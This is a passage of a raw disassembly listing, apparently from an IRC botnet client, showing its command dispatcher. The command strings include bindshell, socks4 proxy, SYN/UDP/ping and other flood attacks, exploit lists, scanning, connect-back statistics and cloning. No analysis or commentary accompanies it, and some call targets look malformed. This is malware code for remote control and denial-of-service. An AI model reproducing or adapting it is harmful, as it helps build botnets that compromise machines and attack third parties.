		jz	short loc_40233A
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C850
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402340
; ---------------------------------------------------------------------------

loc_40233A:				; CODE XREF: sub_401ACD+833j
					; sub_401ACD+838j
		mov	esi, [ebp+var_AC]

loc_402340:				; CODE XREF: sub_401ACD+86Bj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F75
		push	edi
		push	offset dword_42CC84
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40238B
		mov	eax, dword_4CB898
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_40238B
		push	eax
		push	ecx
		push	offset dword_42CC68
		jmp	loc_401E8D
; ---------------------------------------------------------------------------

loc_40238B:				; CODE XREF: sub_401ACD+8A0j
					; sub_401ACD+8B0j
		push	edi
		push	offset dword_42CC60
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402160
		push	eax
		push	ecx
		push	offset dword_42CC48
		jmp	loc_401E8D
; ---------------------------------------------------------------------------

loc_4023CA:				; CODE XREF: sub_401ACD+7B9j
					; sub_401ACD+76B7j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42CC0C
		jmp	loc_4082CF
; ---------------------------------------------------------------------------

loc_4023DB:				; CODE XREF: sub_401ACD+6DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CBC8

loc_4023EE:				; CODE XREF: sub_401ACD+7C19j
					; sub_401ACD+7C80j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------

loc_402402:				; CODE XREF: sub_401ACD+6D1j
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402551
		cmp	[ebp+var_A4], ebx
		jz	loc_40252A
		push	1Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_402519
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CBA0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset dword_416000
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_402508

loc_4024F2:				; CODE XREF: sub_401ACD+A39j
		cmp	[ebp+var_2904],	ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 2680F3Dh
		nop
		jmp	short loc_4024F2
; ---------------------------------------------------------------------------

loc_402508:				; CODE XREF: sub_401ACD+A23j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42CB68
		jmp	loc_4082CF
; ---------------------------------------------------------------------------

loc_402519:				; CODE XREF: sub_401ACD+966j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB38
		jmp	loc_4082CF
; ---------------------------------------------------------------------------

loc_40252A:				; CODE XREF: sub_401ACD+956j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB04
		jmp	loc_4082CF
; ---------------------------------------------------------------------------

loc_40253B:				; CODE XREF: sub_401ACD+6B6j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401F75

loc_402551:				; CODE XREF: sub_401ACD+94Aj
		mov	edi, [edi]
		push	edi
		push	offset aH4ck3d	; "H4CK3D"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		push	edi
		push	offset asc_42CAF8 ; "l"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025A2
		push	[ebp+var_8C]
		push	offset dword_42CCD8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644

loc_4025A2:				; CODE XREF: sub_401ACD+AB9j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409644
		xor	edi, edi
		cmp	dword_4294D0, ebx
		jle	loc_402757
		mov	[ebp+arg_20], offset dword_43DBA0

loc_4025C0:				; CODE XREF: sub_401ACD+B12j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025E6
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294D0
		jl	short loc_4025C0
		jmp	loc_402757
; ---------------------------------------------------------------------------

loc_4025E6:				; CODE XREF: sub_401ACD+B02j
		push	offset asc_42CDD4 ; " :"
		push	[ebp+arg_0]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43DBB8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_40263B:				; CODE XREF: sub_401ACD+C1Fj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026A7
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026A7
		lea	eax, dword_43DBA0[edi]
		push	eax
		call	sub_41B9C0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026E2
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026E2
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------

loc_4026A7:				; CODE XREF: sub_401ACD+B96j
					; sub_401ACD+B9Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026E2
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 18h

loc_4026E2:				; CODE XREF: sub_401ACD+BAFj
					; sub_401ACD+BC3j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40263B
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_4026FF:				; CODE XREF: sub_401ACD+C7Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402742
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402742
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch

loc_402742:				; CODE XREF: sub_401ACD+C5Aj
					; sub_401ACD+C60j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026FF
		mov	[ebp+var_2C8], 1

loc_402757:				; CODE XREF: sub_401ACD+AE6j
					; sub_401ACD+B14j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_402770
		cmp	[ebp+var_2C8], ebx
		jz	loc_402961

loc_402770:				; CODE XREF: sub_401ACD+C95j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41843B
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_1	; "$user"
		push	edi
		call	sub_41843B
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41843B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41843B
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_41843B
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h

loc_4027E2:				; CODE XREF: sub_401ACD+E0Dj
		test	eax, eax
		jz	loc_4028DF
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CAB8 ; ")"
		push	eax
		call	sub_41CAD4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40282E
		cmp	[ebp+var_A0], 39h
		jle	short loc_402844

loc_40282E:				; CODE XREF: sub_401ACD+D56j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch

loc_402844:				; CODE XREF: sub_401ACD+D5Fj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	short loc_40286A
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40287E
; ---------------------------------------------------------------------------

loc_40286A:				; CODE XREF: sub_401ACD+D86j
		call	sub_41C2C2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl

loc_40287E:				; CODE XREF: sub_401ACD+D9Bj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B9C0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 30h
		jmp	loc_4027E2
; ---------------------------------------------------------------------------

loc_4028DF:				; CODE XREF: sub_401ACD+D17j
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDD0 ; " "
		push	eax
		call	sub_41CAD4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh

loc_40292F:				; CODE XREF: sub_401ACD+E77j
		push	offset asc_42CDD0 ; " "
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40292F
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F75
		add	ecx, 3
		mov	[eax], ecx

loc_402961:				; CODE XREF: sub_401ACD+C9Dj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aRn	; "rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aLo	; "lo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aVersion	; "version"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aVer	; "ver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aRz	; "rz"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSt	; "st"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBd	; "bd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B0E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA14
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402B0E:				; CODE XREF: sub_401ACD+1027j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aS4	; "s4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B61
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9EC
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402B61:				; CODE XREF: sub_401ACD+107Aj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B8A
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9D0
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402B8A:				; CODE XREF: sub_401ACD+10A3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9B4
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402BB3:				; CODE XREF: sub_401ACD+10CCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDC
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C9A0
		push	offset dword_42C994
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402BDC:				; CODE XREF: sub_401ACD+10F5j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C05
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C974
		push	offset dword_42C964
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402C05:				; CODE XREF: sub_401ACD+111Ej
		push	edi
		push	offset dword_42C958
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C94C
		push	offset dword_42C940
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402C2E:				; CODE XREF: sub_401ACD+1147j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C57
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C92C
		push	offset dword_42C920
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402C57:				; CODE XREF: sub_401ACD+1170j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C80
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C904
		push	offset dword_42C8F4
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402C80:				; CODE XREF: sub_401ACD+1199j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8D8
		push	offset dword_42C8C8
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402CA9:				; CODE XREF: sub_401ACD+11C2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD2
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8B0
		push	offset dword_42C8A4
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402CD2:				; CODE XREF: sub_401ACD+11EBj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E28
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C94C
		push	offset dword_42C940
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	0Eh
		push	offset dword_42C92C
		push	offset dword_42C920
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C88C
		push	offset dword_42C880
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	16h
		push	offset dword_42C874
		push	offset dword_42C868
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8D8
		push	offset dword_42C8C8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	12h
		push	offset dword_42C8B0
		push	offset dword_42C8A4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C858
		push	offset dword_42C848
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	13h
		push	offset dword_42C838
		push	offset dword_42C828
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C904
		push	offset dword_42C8F4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7F4
		push	[ebp+var_88]
		push	edi
		call	sub_409869
		add	esp, 34h
		jmp	loc_401F75
; ---------------------------------------------------------------------------

loc_402E28:				; CODE XREF: sub_401ACD+1214j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E51
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C858
		push	offset dword_42C848
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402E51:				; CODE XREF: sub_401ACD+136Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E7A
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C838
		push	offset dword_42C828
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402E7A:				; CODE XREF: sub_401ACD+1393j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C88C
		push	offset dword_42C880
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402EA3:				; CODE XREF: sub_401ACD+13BCj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C874
		push	offset dword_42C868
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402ECC:				; CODE XREF: sub_401ACD+13E5j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF5
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7AC
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402EF5:				; CODE XREF: sub_401ACD+140Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F72
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C75C
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402F72:				; CODE XREF: sub_401ACD+148Bj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F9B
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C738
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402F9B:				; CODE XREF: sub_401ACD+14B4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C718
		jmp	loc_408D08
; ---------------------------------------------------------------------------

loc_402FC4:				; CODE XREF: sub_401ACD+14DDj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aStats	; "stats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aDc	; "dc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aQ	; "q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aStatus	; "status"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aS_0	; "s"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aId	; "id"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aI	; "i"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403190
		call	sub_418884
		test	eax, eax
		mov	eax, offset unk_42C658
		jnz	short loc_403162
		mov	eax, offset unk_42C634

loc_403162:				; CODE XREF: sub_401ACD+168Ej
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 1Ch
		jmp	loc_4082DE
; ---------------------------------------------------------------------------

loc_403190:				; CODE XREF: sub_401ACD+1680j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aT	; "t"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aAl	; "al"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aLog	; "log"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
